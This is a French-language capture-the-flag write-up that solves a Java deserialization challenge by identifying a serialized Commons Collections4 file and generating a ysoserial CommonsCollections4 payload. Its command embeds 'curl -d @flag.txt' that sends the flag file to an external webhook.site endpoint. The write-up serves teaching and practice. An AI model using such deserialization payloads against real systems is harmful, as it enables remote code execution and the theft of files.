NSA Call Converter
Catégorie: Pwn Difficulté: Moyen Flag: MALICE{NeverDeserializeUntrustedContent}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
La première étape est de savoir ce qu'on a entre les mains, on va donc faire un hexdump du fichier calls.nsadb (ici avec CyberChef).

On voit qu'il contient des mots relatifs à Java, comme org.apache.commons.collections4.list.GrowthList.
Cherchons un peu si c'est un type de fichier connu, soit avec la commande file sur Linux, soit on regarde les premiers octets et on cherche sur une liste de signatures de fichier.

On sait maintenant qu'il s'agit de données Java sérialisées. En cherchant un peut sur internet les vulnérabilités, on tombe sur pas mal d'articles comme HackTricks qui parle de l'outil ysoserial.
Comme on sait que flag.txt est dans le même dossier, utilisons donc cet outil pour POST le fichier sur un endpoint.
Direction Webhook Site pour créer rapidement un endpoint (RequestBin fonctionne aussi). Notre endpoint ici est le suivant : https://webhook.site/bb26bcef-9717-4d73-9059-a489f8ec1270.
Maintenant on va créer notre payload avec ysoserial. On a vu que org.apache.commons.collections4 était utilisé, ça tombe bien, c'est l'un des points d'entrée que l'outil peut exploiter. La commande pour le créer est :
java -jar ysoserial-all.jar CommonsCollections4 "curl -d @flag.txt https://webhook.site/bb26bcef-9717-4d73-9059-a489f8ec1270" > exploit.nsadbEnsuite il nous suffit d'aller sur le site et de tenter de le convertir pour récupérer l'erreur suivante :

Si l'on regarde notre endpoint, on a bien reçu une requête POST contenant le flag :

Mis à jour
Ce contenu vous a-t-il été utile ?